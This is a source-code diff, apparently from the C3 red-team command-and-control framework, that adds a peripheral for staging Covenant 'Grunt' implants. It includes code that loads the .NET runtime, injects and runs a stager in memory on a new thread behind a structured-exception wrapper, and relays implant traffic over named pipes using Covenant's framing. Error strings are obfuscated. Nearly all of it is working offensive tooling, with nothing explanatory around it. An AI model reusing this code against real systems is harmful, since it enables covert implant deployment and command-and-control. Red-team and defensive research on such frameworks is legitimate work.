|
||||||
|
args.func = RuntimeV4Host;
|
||||||
|
|
||||||
|
|
||||||
|
// Inject the payload stage into the current process.
|
||||||
|
if (!CreateThread(NULL, 0, reinterpret_cast<LPTHREAD_START_ROUTINE>(SEH::SehWrapperCov), &args, 0, nullptr))
|
||||||
|
throw std::runtime_error{ OBF("Couldn't run payload: ") + std::to_string(GetLastError()) + OBF(".") };
|
||||||
|
|
||||||
|
std::this_thread::sleep_for(std::chrono::milliseconds{ 30 }); // Give Grunt thread time to start pipe.
|
||||||
|
while(1)
|
||||||
|
try
|
||||||
|
{
|
||||||
|
m_Pipe = WinTools::AlternatingPipe{ ByteView{ pipeName } };
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
catch (std::exception& e)
|
||||||
|
{
|
||||||
|
// Sleep between trials.
|
||||||
|
Log({ OBF_SEC("Grunt constructor: ") + e.what(), LogMessage::Severity::DebugInformation });
|
||||||
|
std::this_thread::sleep_for(std::chrono::milliseconds{ 5 });
|
||||||
|
}
|
||||||
|
|
||||||
|
return;
|
||||||
|
|
||||||
|
}
|
||||||
|
|
||||||
|
void MWR::C3::Interfaces::Peripherals::Grunt::OnCommandFromConnector(ByteView data)
|
||||||
|
{
|
||||||
|
// Get access to write when whole read is done.
|
||||||
|
std::unique_lock<std::mutex> lock{ m_Mutex };
|
||||||
|
m_ConditionalVariable.wait(lock, [this]() { return !m_ReadingState; });
|
||||||
|
|
||||||
|
// Write to Covenant specific pipe
|
||||||
|
m_Pipe->WriteCov(data);
|
||||||
|
|
||||||
|
// Unlock, and block writing until read is done.
|
||||||
|
m_ReadingState = true;
|
||||||
|
lock.unlock();
|
||||||
|
m_ConditionalVariable.notify_one();
|
||||||
|
|
||||||
|
}
|
||||||
|
|
||||||
|
MWR::ByteVector MWR::C3::Interfaces::Peripherals::Grunt::OnReceiveFromPeripheral()
|
||||||
|
{
|
||||||
|
std::unique_lock<std::mutex> lock{ m_Mutex };
|
||||||
|
m_ConditionalVariable.wait(lock, [this]() { return m_ReadingState; });
|
||||||
|
|
||||||
|
// Read
|
||||||
|
auto ret = m_Pipe->ReadCov();
|
||||||
|
|
||||||
|
m_ReadingState = false;
|
||||||
|
lock.unlock();
|
||||||
|
m_ConditionalVariable.notify_one();
|
||||||
|
|
||||||
|
return ret;
|
||||||
|
|
||||||
|
}
|
||||||
|
|
||||||
|
MWR::ByteView MWR::C3::Interfaces::Peripherals::Grunt::GetCapability()
|
||||||
|
{
|
||||||
|
return R"(
|
||||||
|
{
|
||||||
|
"create":
|
||||||
|
{
|
||||||
|
"arguments":
|
||||||
|
[
|
||||||
|
{
|
||||||
|
"type": "string",
|
||||||
|
"name": "Pipe name",
|
||||||
|
"min": 4,
|
||||||
|
"randomize": true,
|
||||||
|
"description": "Name of the pipe Beacon uses for communication."
|
||||||
|
},
|
||||||
|
{
|
||||||
|
"type": "int32",
|
||||||
|
"min": 1,
|
||||||
|
"defaultValue" : 1,
|
||||||
|
"name": "Listener ID",
|
||||||
|
"description": "Id of the Bridge Listener in Covenant"
|
||||||
|
},
|
||||||
|
{
|
||||||
|
"type": "int32",
|
||||||
|
"min": 1,
|
||||||
|
"defaultValue" : 30,
|
||||||
|
"name": "Delay",
|
||||||
|
"description": "Delay"
|
||||||
|
},
|
||||||
|
{
|
||||||
|
"type": "int32",
|
||||||
|
"min": 0,
|
||||||
|
"defaultValue" : 30,
|
||||||
|
"name": "Jitter",
|
||||||
|
"description": "Jitter"
|
||||||
|
}
|
||||||
|
]
|
||||||
|
},
|
||||||
|
"commands": []
|
||||||
|
}
|
||||||
|
)";
|
||||||
|
}
|
||||||
|
|
|
@ -0,0 +1,56 @@
|
||||||
|
#pragma once
|
||||||
|
|
||||||
|
#include <optional>
|
||||||
|
#include <metahost.h>
|
||||||
|
|
||||||
|
//For loading of CLR
|
||||||
|
#pragma comment(lib, "mscoree.lib")
|
||||||
|
#import "mscorlib.tlb" raw_interfaces_only high_property_prefixes("_get", "_put", "_putref") rename("ReportEvent", "InteropServices_ReportEvent") auto_rename
|
||||||
|
using namespace mscorlib;
|
||||||
|
|
||||||
|
#include "Common/MWR/WinTools/Pipe.h"
|
||||||
|
|
||||||
|
/// Forward declaration of Connector associated with implant.
|
||||||
|
/// Connectors implementation is only available on GateRelay, not NodeRelays.
|
||||||
|
/// Declaration must be identical to Connector definition. Namespace or struct/class mismatch will make Peripheral unusable.
|
||||||
|
namespace MWR::C3::Interfaces::Connectors { struct Covenant; }
|
||||||
|
|
||||||
|
namespace MWR::C3::Interfaces::Peripherals
|
||||||
|
{
|
||||||
|
/// Class representing Grunt stager.
|
||||||
|
struct Grunt : public Peripheral<Grunt, Connectors::Covenant>
|
||||||
|
{
|
||||||
|
public:
|
||||||
|
/// Public constructor.
|
||||||
|
/// @param arguments view of arguments prepared by Connector.
|
||||||
|
Grunt(ByteView arguments);
|
||||||
|
|
||||||
|
/// Sending callback implementation.
|
||||||
|
/// @param packet to send to the Implant.
|
||||||
|
void OnCommandFromConnector(ByteView packet) override;
|
||||||
|
|
||||||
|
/// Callback that handles receiving from the outside of the C3 network.
|
||||||
|
/// @returns ByteVector data received from beacon.
|
||||||
|
ByteVector OnReceiveFromPeripheral() override;
|
||||||
|
|
||||||
|
/// Return json with commands.
|
||||||
|
/// @return ByteView Commands description in JSON format.
|
||||||
|
static ByteView GetCapability();
|
||||||
|
|
||||||
|
private:
|
||||||
|
|
||||||
|
/// Object used to communicate with Grunt.
|
||||||
|
/// Optional is used to perform many trails of staging in constructor.
|
||||||
|
/// Must contain object if constructor call was successful.
|
||||||
|
std::optional<WinTools::AlternatingPipe> m_Pipe;
|
||||||
|
|
||||||
|
/// Used to synchronize access to underlying implant.
|
||||||
|
std::mutex m_Mutex;
|
||||||
|
|
||||||
|
/// Used to synchronize read/write.
|
||||||
|
std::condition_variable m_ConditionalVariable;
|
||||||
|
|
||||||
|
/// Used to support beacon chunking data.
|
||||||
|
bool m_ReadingState = true;
|
||||||
|
};
|
||||||
|
}
|
|
@ -125,9 +125,19 @@ MWR::ByteVector MWR::WinTools::ReadPipe::Read()
|
||||||
MWR::WinTools::DuplexPipe::DuplexPipe(ByteView inputPipeName, ByteView outputPipeName)
|
MWR::WinTools::DuplexPipe::DuplexPipe(ByteView inputPipeName, ByteView outputPipeName)
|
||||||
: m_InputPipe(inputPipeName), m_OutputPipe(outputPipeName)
|
: m_InputPipe(inputPipeName), m_OutputPipe(outputPipeName)
|
||||||
{
|
{
|
||||||
|
|
||||||
}
|
}
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
/* write a frame to a file */
|
||||||
|
void write_frame(HANDLE my_handle, char* buffer, DWORD length) {
|
||||||
|
DWORD wrote = 0;
|
||||||
|
WriteFile(my_handle, (void*)& length, 4, &wrote, NULL);
|
||||||
|
WriteFile(my_handle, buffer, length, &wrote, NULL);
|
||||||
|
}
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////
|
////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////
|
||||||
MWR::ByteVector MWR::WinTools::DuplexPipe::Read()
|
MWR::ByteVector MWR::WinTools::DuplexPipe::Read()
|
||||||
{
|
{
|
||||||
|
@ -152,6 +162,39 @@ MWR::WinTools::AlternatingPipe::AlternatingPipe(ByteView pipename)
|
||||||
throw std::runtime_error{ OBF("Couldn't create synchronization event") };
|
throw std::runtime_error{ OBF("Couldn't create synchronization event") };
|
||||||
}
|
}
|
||||||
|
|
||||||
|
////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////
|
||||||
|
MWR::ByteVector MWR::WinTools::AlternatingPipe::ReadCov()
|
||||||
|
{
|
||||||
|
DWORD temp = 0, total = 0;
|
||||||
|
if (WaitForSingleObject(m_Event.get(), 0) != WAIT_OBJECT_0)
|
||||||
|
return{};
|
||||||
|
|
||||||
|
//The SMB Grunt writes the size of the chunk in a loop like the below, mimic that here.
|
||||||
|
BYTE size[4] = { 0 };
|
||||||
|
int totalReadBytes = 0;
|
||||||
|
for(int i = 0; i < 4; i++)
|
||||||
|
ReadFile(m_Pipe.get(), size + i, 1, &temp, NULL);
|
||||||
|
|
||||||
|
|
||||||
|
DWORD32 len = (size[0] << 24) + (size[1] << 16) + (size[2] << 8) + size[3];
|
||||||
|
|
||||||
|
ByteVector buffer;
|
||||||
|
buffer.resize(len);
|
||||||
|
|
||||||
|
//Now read the actual data
|
||||||
|
DWORD read = 0;
|
||||||
|
temp = 0;
|
||||||
|
while (total < len) {
|
||||||
|
bool didRead = ReadFile(m_Pipe.get(), (LPVOID)& buffer[read], len - total, &temp,
|
||||||
|
NULL);
|
||||||
|
total += temp;
|
||||||
|
read += temp;
|
||||||
|
}
|
||||||
|
|
||||||
|
return buffer;
|
||||||
|
|
||||||
|
}
|
||||||
|
|
||||||
////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////
|
////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////
|
||||||
MWR::ByteVector MWR::WinTools::AlternatingPipe::Read()
|
MWR::ByteVector MWR::WinTools::AlternatingPipe::Read()
|
||||||
{
|
{
|
||||||
|
@ -175,6 +218,40 @@ MWR::ByteVector MWR::WinTools::AlternatingPipe::Read()
|
||||||
return buffer;
|
return buffer;
|
||||||
}
|
}
|
||||||
|
|
||||||
|
|
||||||
|
////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////
|
||||||
|
size_t MWR::WinTools::AlternatingPipe::WriteCov(ByteView data)
|
||||||
|
{
|
||||||
|
DWORD written;
|
||||||
|
int start = 0, size = data.size();
|
||||||
|
int end = 0;
|
||||||
|
|
||||||
|
uint32_t len = static_cast<uint32_t>(data.size());
|
||||||
|
BYTE* bytes = (BYTE*)& len;
|
||||||
|
DWORD32 chunkLength = (bytes[0] << 24) + (bytes[1] << 16) + (bytes[2] << 8) + bytes[3];
|
||||||
|
|
||||||
|
//Write the length first
|
||||||
|
WriteFile(m_Pipe.get(), &chunkLength, 4, nullptr, nullptr);
|
||||||
|
|
||||||
|
//We have to write in chunks of 1024, this is mirrored in how the Grunt reads.
|
||||||
|
const uint8_t* d = &data.front();
|
||||||
|
while (size > 1024)
|
||||||
|
{
|
||||||
|
WriteFile(m_Pipe.get(), d+start, 1024, &written, nullptr);
|
||||||
|
start += 1024;
|
||||||
|
size -= 1024;
|
||||||
|
}
|
||||||
|
WriteFile(m_Pipe.get(), d + start, size, &written, nullptr);
|
||||||
|
start += size;
|
||||||
|
|
||||||
|
if (start != data.size())
|
||||||
|
throw std::runtime_error{ OBF("Write pipe failed ") };
|
||||||
|
|
||||||
|
// Let Read() know that the pipe is ready to be read.
|
||||||
|
SetEvent(m_Event.get());
|
||||||
|
|
||||||
|
return data.size();
|
||||||
|
}
|
||||||
////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////
|
////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////
|
||||||
size_t MWR::WinTools::AlternatingPipe::Write(ByteView data)
|
size_t MWR::WinTools::AlternatingPipe::Write(ByteView data)
|
||||||
{
|
{
|
||||||
|
@ -192,3 +269,4 @@ size_t MWR::WinTools::AlternatingPipe::Write(ByteView data)
|
||||||
|
|
||||||
return data.size();
|
return data.size();
|
||||||
}
|
}
|
||||||
|
|
||||||
|
|
|
@ -19,9 +19,15 @@ namespace MWR::WinTools
|
||||||
/// @throws std::runtime_error on any WinAPI errors occurring during writing to the named pipe.
|
/// @throws std::runtime_error on any WinAPI errors occurring during writing to the named pipe.
|
||||||
ByteVector Read();
|
ByteVector Read();
|
||||||
|
|
||||||
|
///Covenant specific implementation of Read
|
||||||
|
ByteVector ReadCov();
|
||||||
|
|
||||||
/// Retrieves data from the pipe.
|
/// Retrieves data from the pipe.
|
||||||
/// @throws std::runtime_error on any WinAPI errors occurring during reading from the named pipe.
|
/// @throws std::runtime_error on any WinAPI errors occurring during reading from the named pipe.
|
||||||
size_t Write(ByteView data);
|
size_t Write(ByteView data);
|
||||||
|
|
||||||
|
///Covenant specific implementation of Write
|
||||||
|
size_t WriteCov(ByteView data);
|
||||||
private:
|
private:
|
||||||
/// Name of the Pipe used to communicate with the implant.
|
/// Name of the Pipe used to communicate with the implant.
|
||||||
std::string m_PipeName;
|
std::string m_PipeName;
|
||||||
|
@ -107,6 +113,7 @@ namespace MWR::WinTools
|
||||||
/// @throws std::runtime_error if conection was closed from other side during transmision.
|
/// @throws std::runtime_error if conection was closed from other side during transmision.
|
||||||
ByteVector Read();
|
ByteVector Read();
|
||||||
|
|
||||||
|
|
||||||
/// Connects pipe and writes whole message to pipe.
|
/// Connects pipe and writes whole message to pipe.
|
||||||
///
|
///
|
||||||
/// @param data to be written.
|
/// @param data to be written.
|
||||||
|
@ -114,12 +121,12 @@ namespace MWR::WinTools
|
||||||
/// @throws std::runtime_error if data.size() cannot be stored in uint32_t. This condition is highly unlikly in normal use.
|
/// @throws std::runtime_error if data.size() cannot be stored in uint32_t. This condition is highly unlikly in normal use.
|
||||||
/// @throws std::runtime_error if conection was closed from other side during transmision.
|
/// @throws std::runtime_error if conection was closed from other side during transmision.
|
||||||
size_t Write(ByteView data);
|
size_t Write(ByteView data);
|
||||||
|
|
||||||
private:
|
private:
|
||||||
/// Input pipe.
|
/// Input pipe.
|
||||||
ReadPipe m_InputPipe;
|
ReadPipe m_InputPipe;
|
||||||
|
|
||||||
/// Output pipe.
|
/// Output pipe.
|
||||||
WritePipe m_OutputPipe;
|
WritePipe m_OutputPipe;
|
||||||
};
|
};
|
||||||
}
|
}
|
||||||
|
|
|
@ -1,6 +1,7 @@
|
||||||
#include "StdAfx.h"
|
#include "StdAfx.h"
|
||||||
#include "StructuredExceptionHandling.h"
|
#include "StructuredExceptionHandling.h"
|
||||||
|
|
||||||
|
|
||||||
int MWR::WinTools::StructuredExceptionHandling::Filter(unsigned int code, struct _EXCEPTION_POINTERS* ep)
|
int MWR::WinTools::StructuredExceptionHandling::Filter(unsigned int code, struct _EXCEPTION_POINTERS* ep)
|
||||||
{
|
{
|
||||||
return EXCEPTION_EXECUTE_HANDLER;
|
return EXCEPTION_EXECUTE_HANDLER;
|
||||||
|
@ -20,6 +21,21 @@ DWORD WINAPI MWR::WinTools::StructuredExceptionHandling::SehWrapper(CodePointer
|
||||||
return 0;
|
return 0;
|
||||||
}
|
}
|
||||||
|
|
||||||
|
DWORD WINAPI MWR::WinTools::StructuredExceptionHandling::SehWrapperCov(PGRUNTARGS args)
|
||||||
|
{
|
||||||
|
__try
|
||||||
|
{
|
||||||
|
//this is kind of gross but the only way I could get it to work.
|
||||||
|
args->func(args->gruntStager, args->len);
|
||||||
|
}
|
||||||
|
__except (Filter(GetExceptionCode(), GetExceptionInformation()))
|
||||||
|
{
|
||||||
|
// Nothing
|
||||||
|
}
|
||||||
|
|
||||||
|
return 0;
|
||||||
|
}
|
||||||
|
|
||||||
void MWR::WinTools::StructuredExceptionHandling::SehWrapper(std::function<void()> const& func, std::function<void()> const& closure)
|
void MWR::WinTools::StructuredExceptionHandling::SehWrapper(std::function<void()> const& func, std::function<void()> const& closure)
|
||||||
{
|
{
|
||||||
__try
|
__try
|
||||||
|
@ -31,3 +47,4 @@ void MWR::WinTools::StructuredExceptionHandling::SehWrapper(std::function<void()
|
||||||
closure();
|
closure();
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
|
|
|
@ -14,6 +14,14 @@ namespace MWR::WinTools::StructuredExceptionHandling
|
||||||
/// @returns 0.
|
/// @returns 0.
|
||||||
DWORD WINAPI SehWrapper(CodePointer func);
|
DWORD WINAPI SehWrapper(CodePointer func);
|
||||||
|
|
||||||
|
/// Arguments to be passed to RuntimeV4Host
|
||||||
|
typedef struct gruntArgs { std::function<void(PBYTE, size_t)> func; PBYTE gruntStager; size_t len; }GRUNTARGS, * PGRUNTARGS;
|
||||||
|
|
||||||
|
/// Covenant specific SEH Wrapper
|
||||||
|
/// @param args a struct containing the arguments for the execution of an SMB grunt in memory.
|
||||||
|
/// @returns 0
|
||||||
|
DWORD WINAPI SehWrapperCov(PGRUNTARGS args);
|
||||||
|
|
||||||
/// Wrap call in SEH handler
|
/// Wrap call in SEH handler
|
||||||
/// @param func - function to call
|
/// @param func - function to call
|
||||||
/// @param closure - handler called when func throws SE
|
/// @param closure - handler called when func throws SE
|
||||||
|
@ -23,4 +31,5 @@ namespace MWR::WinTools::StructuredExceptionHandling
|
||||||
namespace MWR::WinTools
|
namespace MWR::WinTools
|
||||||
{
|
{
|
||||||
namespace SEH = StructuredExceptionHandling;
|
namespace SEH = StructuredExceptionHandling;
|
||||||
}
|
}
|
||||||
|
|
||||||
|
|
Loading…
Reference in New Issue